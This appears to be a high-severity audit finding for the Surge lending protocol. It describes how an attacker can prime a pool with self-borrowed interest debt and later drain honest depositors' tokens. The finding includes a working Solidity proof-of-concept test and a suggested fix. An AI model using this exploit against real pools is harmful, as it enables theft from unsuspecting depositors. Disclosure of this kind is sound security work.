Respx

high

# Pools can be primed as traps by accumulating debts in advance

## Summary
It is possible for an attacker to create a pool and borrow from themselves, accumulating large amounts of interest. Although this is interest that they owe themselves, it can be withdrawn from the Pool's loan token balance at any point.

## Vulnerability Detail
Read the comments (lines starting `//`) in the proof of concept for an account of a potential attack scenario.

Proof of concept: add to `Pool.t.sol`:
```Solidity
    function testHighDebtTrap() external {
        address alice = 0xaAaAaAaaAaAaAaaAaAAAAAAAAaaaAaAaAaaAaaAa;
        address bob = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB;

        uint amount = 1e18;
        MockERC20 collateralToken = new MockERC20(amount, 18);
        MockERC20 loanToken = new MockERC20(amount * 2, 18);
        Pool pool = factory.deploySurgePool(
            IERC20(address(collateralToken)), 
            IERC20(address(loanToken)), 
            50e18, // _maxCollateralRatioMantissa
            0.8e18, // _surgeMantissa
            10 days, // _collateralRatioFallDuration
            1e15, // _collateralRatioRecoveryDuration
            0.1e18, // _minRateMantissa
            0.4e18, // _surgeRateMantissa
            10e18 // _maxRateMantissa 
        );

        uint alice_initial_balance = 50_000;
        loanToken.transfer(alice, alice_initial_balance);
        collateralToken.transfer(alice, 1_000);
        loanToken.transfer(bob, 10_000);

        // Alice creates the pool but does not publicise it yet.
        // Alice borrows from herself.
        vm.startPrank(alice);
        loanToken.approve(address(pool), type(uint).max);
        pool.deposit(1_000);
        collateralToken.approve(address(pool), type(uint).max);
        pool.addCollateral(alice, 40);
        pool.borrow(800);
        pool.withdraw(200);
        vm.stopPrank();

        // The interest rate goes to max. 
        emit log_named_uint("UTIL %:",lens.getUtilizationMantissa(address(pool))/1e16);
        emit log_named_uint("BORROW %:",lens.getBorrowRateMantissa(address(pool))/1e16);

        // Alice waits and accrues a huge debt that she owes herself.
        skip(52 weeks);

        emit log_named_uint("ALICE OWES:",lens.getDebtOf(address(pool),alice));

        //Alice repays her loan tokens. She can't get her collateral back: her debt is too high.
        vm.startPrank(alice);
        pool.repay(alice,800);
        //Alice also has to deposit some extra loan tokens to get the utilisation rate down.
        // Still, these tokens are not at risk
        pool.deposit(49_000);
        vm.stopPrank();

        // Now the utilisation rate is back to normal and the pool looks fine
        // unless we know about these past transactions.
        emit log_named_uint("UTIL %:",lens.getUtilizationMantissa(address(pool))/1e16);
        // Borrow rate is 15%. That might attract depositors.
        emit log_named_uint("BORROW %:",lens.getBorrowRateMantissa(address(pool))/1e16);

        // Alice publicises the pool.

        // Bob deposits some loan tokens, suspecting nothing and wishing to earn interest.
        vm.startPrank(bob);
        loanToken.approve(address(pool), type(uint).max);
        pool.deposit(10_000);
        vm.stopPrank();

        // Alice withdraws all her debt, taking Bob's loan tokens
        uint alice_before = loanToken.balanceOf(alice);
        vm.startPrank(alice);
        pool.withdraw(type(uint).max);
        vm.stopPrank();
        uint alice_after = loanToken.balanceOf(alice);

        emit log_named_uint("ALICE WITHDRAWS:",alice_after - alice_before);
        // Alice has profited almost 8000 loan tokens but lost 40 collateral tokens.
        // Even if collateral tokens are worth 100 times a loan token, Alice is still
        // well in profit.
        emit log_named_uint("ALICE PROFIT:",alice_after - alice_initial_balance);
    }
```

## Impact
As in the proof of concept scenario, users can deposit loan tokens into a seemingly healthy pool and have them immediately withdrawn by an attacker. Note that this attack is possible (and probably more effective) if the tokens are stable, well established tokens.

## Code Snippet
It is difficult to narrow this down to a particular line of code as it relates to the overall accounting of the Pool. However, the [withdraw() function](https://github.com/Surge-fi/surge-protocol-v1/blob/b7cb1dc2a2dcb4bf22c765a4222d7520843187c6/src/Pool.sol#L348-L389) relates to my recommendation below: it simply allows any user to withdraw if they are owed the tokens and the tokens are present.

## Tool used

Manual Review

## Recommendation
Consider modifying the logic of `Pool` to shield or partially shield later depositors from repaying the interest of earlier depositors. The interest paid to earlier depositors should come from borrowers. This could be implemented by keeping separate balances of interest, both owed and paid.